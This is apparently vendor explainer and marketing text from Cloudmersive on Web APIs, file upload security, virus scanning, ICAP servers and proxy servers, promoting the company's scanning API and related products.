To provide a basic example, if a social media application wants to display daily weather reports for its site visitors, it can do so efficiently by accessing an external Web API created by an independent weather reporting application. The weather application’s Web API will likely follow a common architectural guideline (like REST), making it easy for the external web developer to understand and create a connection with the underlying weather reporting resource. The Web APIs various rules and protocols will also serve to ensure that the social media application receives a secure and timely response after information is requested.

Without a Web API to facilitate this connection, the web developer working on the social media application would be forced to either develop their own weather reporting functionality – a very significant undertaking in time and resources – or abandon the inclusion of this feature all together, leaving their users with a less enticing product. In this way, APIs benefit everyone involved. The social media application can use the weather API to efficiently expand its features, the weather application can monetize its API service (compensating for what it might consider a marginal drop-off in website traffic), and the client-side user can gain access to more information in one place, increasing the likelihood they’ll enjoy and recommend this app to their friends.

What are Cloudmersive APIs?

The Cloudmersive API platform allows individual web developers and enterprises to add dozens of unique and powerful services to their applications quickly and at low cost. These APIs enable developers to add scalable data and file format conversions, advanced security policies, media processing services, optical character recognition (OCR) capabilities to their applications through a single, all-encompassing account. With a suite of scalable APIs in their arsenal, a developer can more easily create a multidimensional application and bring it to market quickly or flesh out an existing application with useful new features.

For more information on Cloudmersive API products, please feel free to contact a member of our sales team.

Why is file security so important, and what is the risk in failing to secure file uploads?

There’s a lot at stake when external files are uploaded to our websites. Poorly vetted files containing viruses and malware can lay dormant in storage for indefinite periods of time before executing attacks from within, compromising our systems and stealing or corrupting invaluable data.

Once our systems are exploited, the resulting damage can range from catastrophic to completely irreparable, resulting in a major blow to our bottom line and to our credibility as a secure and reliable business. Even worse, our website patrons can be directly affected by our security failure when they unwittingly download infected files made available through our servers. All told, it’s essential that we take numerous steps to protect our systems from hidden file threats.

What are the steps an online business should take to protect their systems against malicious file uploads?

There are a variety of ways we can actively protect our systems against malicious file uploads. To begin with the most obvious solution, deploying a virus scanning service is essential. From a high-level security architecture point of view, there are many ways to do this; for example, such services are often incorporated into a reverse proxy or ICAP server to take advantage of the strategic bottleneck (receiving each incoming server-bound HTTP message) each option occupies.

New files originating from a client-side visitor should be thoroughly vetted through our Virus Scanning service for viruses and malware, and certain file types (such as executables and password-protected files) should trigger alarm bells even when they don’t overtly contain virus or malware signatures.

Further, after files are thoroughly vetted through these initial policies, they should be scanned regularly in storage (especially cloud storage). Taking this extra step adds an important layer of redundancy to our security architecture, smoking out malicious files which may have snuck into storage from a typically trustworthy source.

In addition to the above, checking the IP addresses of certain client-side users attempting file uploads can sometimes help identify whether a malicious file upload is imminent. Files originating from known cybercriminal IP address should never be trusted, and files originating from generally suspicious IP addresses (such as bot clients or Tor servers) should receive an additional layer of scrutiny. This layer of security can also help protect against various network security threats.

Finally, once our file security solutions are in place, they need to be regularly updated and reviewed. There’s no such thing as a static security solution; cybercriminals are constantly at work developing new ways to advance and disguise their threats, so our security policies need to mirror those efforts as threats take on new forms.

How does the Cloudmersive Virus Scanning API protect files uploads?

The Cloudmersive Virus Scanning API offers 360-degree content protection, referencing a continuously updated list of more than 17 million virus and malware signatures to find threats hidden within file uploads. Advanced Virus Scanning API features can be customized to allow or block various inherently dangerous file types such as executables, invalid files, scripts, password protected files and much more. This API boasts high-speed, in-memory scanning and delivers a sub-second average response time.

The Virus Scanning API can be custom integrated within your systems, and it can also be leveraged as the underlying service in a Virus Scanning Reverse Proxy server or Virus Scanning ICAP server. Further, in product form (Cloudmersive Storage Protect), this API can be deployed in conjunction with Azure Blob, AWS S3, SharePoint Online and GCP to scan files in cloud storage.

For more information on the Cloudmersive Virus Scanning API and its various applications, please contact our sales team.

What is ICAP?

ICAP (Internet Content Adaptation Protocol) is a lightweight, transparent internet protocol capable of modifying HTTP messages. ICAP was initially proposed at the turn of the millennium as the need for scalable internet services became increasingly apparent. Global internet traffic was growing exponentially, and ICAP presented an efficient way of reducing the burden on monolithic servers to process high volumes of HTTP messages on their own.

How are ICAP Servers used?

ICAP servers are typically used to extend the services of proxy servers. They do so by performing specific content adaptation services on HTTP messages as they flow through a network. In this case, “content adaptation services” refers to many important, value-add operations such as virus scanning, language translation, ad insertion, content filtering, and more.

In effect, ICAP servers lighten the load experienced by proxy servers on a high-traffic network. A company can deploy an ICAP server to access its proxy server caches and perform its adjacent value-add services seamlessly.

What is a Virus Scanning ICAP Server, and What are its Advantages?

A virus scanning ICAP server is one which is deployed specifically to scan HTTP message contents for viruses (and other forms of malicious content) as those messages flow through a network.

Leveraging ICAP for virus scanning purposes is highly advantageous for several reasons, and it’s an extremely common practice as a result. These servers fit naturally into network chokepoints, which are ideal positions for any security policy. At the same time, they also increase the efficiency of high-traffic networks by reducing the need for proxy servers (which typically perform several different tasks at once) to scan each HTTP message for viruses by themselves. Their relative ease of deployment and maintenance makes them a particularly cost-effective security policy as well.

What is the Cloudmersive Virus Scanning ICAP Server?

The Cloudmersive Virus Scanning ICAP Server performs its value-add service by calling the Cloudmersive Virus Scanning API as HTTP messages pass through your network. The Virus Scanning API offers distinct security advantages, including continuously updated signatures for millions of threats and advanced, high-performance scanning capabilities. In addition, the Virus Scanning API provides customizable content security policies, allowing you to block or allow content including executables, invalid files, scripts, password-protected files, and more.

For more information on the Cloudmersive Virus Scanning ICAP server, please contact our sales team.

What is a Proxy Server?

Before we dive into a closer look at reverse proxy servers, we should first understand proxy servers from a birds-eye view. In short, the purpose of any proxy server is to act as an intermediary between client-side users browsing the internet and the various external web servers they request information from. It’s in the name: the word “proxy” refers to any entity which has been given the power to act on another entity’s behalf. There are two major categories of proxy servers: forward and reverse.

What is the Difference between Forward and Reverse Proxy Servers?

Both forward and reverse proxy servers are extremely useful, and they perform very different functions in practice. While forward proxies work on behalf of client-side users, acting as a buffer between them and the various web resources they request information from, reverse proxies behave in the exact opposite way, acting as a buffer between a particular web server (or group of web servers) and the inbound client-side requests they receive. In practice, forward proxies typically protect client-side user identities while they browse the internet from a particular network, and they can also provide a means for restricting access to specified web servers.

What is a Reverse Proxy Server, and How does it Benefit a Backend Server (or Group of Backend Servers?)

At a basic level, a reverse proxy server funnels client-side requests towards the backend web servers they seek resources from. Once those requests are satisfied, the reverse proxy server receives responses back from the web server and subsequently returns those responses to the client-side user.

The excellent strategic positioning occupied by a reverse proxy server allows it to benefit backend web servers in a variety of useful ways. For example, reverse proxy servers are generally used to load balance inbound requests across their group of assigned web servers, ensuring no one server is ever overloaded. This is accomplished using one of several load balancing algorithms, such as a Round Robin algorithm, which balances requests to a group of servers in a specific order (one request per server). In addition, reverse proxy servers are often asked to carry out important functions such as terminating SSL connections, decrypting incoming requests, and temporarily caching frequently requested content for convenience. Functions such as these effectively help lighten the burden for backend web servers when they experience high volumes of requests.

Perhaps most beneficially of all, reverse proxy servers can be leveraged to deploy basic and advanced security policies which greatly help to protect the backend web servers they support. On the simplest end of that spectrum, they can be configured to process authentication details for various types of information – such as personal account details – only redirecting client requests to the backend server(s) when valid authentication details are supplied. On the more complex end, they can be configured to scan incoming client-side data for viruses and screen out various forms of otherwise untrustworthy content (such as macros and executables), acting as a first line of defense against a wide variety of potentially dangerous external requests.

Cloudmersive Virus Scanning Reverse Proxy Server

The Cloudmersive Virus Scanning Reverse Proxy Server represents a multidimensional reverse proxy security solution, calling the Cloudmersive Virus Scanning API into action when inbound requests are funneled through the reverse proxy stage. This API placement protects backend web servers from malicious traffic - such as virus and malware uploads - before that traffic has a chance to reach its intended destination.

The Cloudmersive Virus Scanning API has access to a growing list of more than 17 million virus and malware signatures, and various custom settings can be configured to either block or allow myriad dangerous forms of content, such as scripts, executables, invalid files, and more. For more information, please feel free to check out our product page, or make an inquiry to one of our sales representatives.

A forward proxy is a type of proxy server that acts as an intermediary between a client and a server. It is called a "forward" proxy because it forwards client requests to the appropriate server on behalf of the client.

Forward proxies are often used in corporate networks to enforce Internet usage policies, block unwanted websites, and provide additional security. They can also be used to improve Internet performance by caching frequently requested content, such as popular videos or images.

Forward proxies can be configured in a number of ways. They can be configured to allow all client requests to pass through, or they can be configured to block certain types of requests based on criteria such as the destination website or the client's IP address. They can also be configured to encrypt client requests for added security.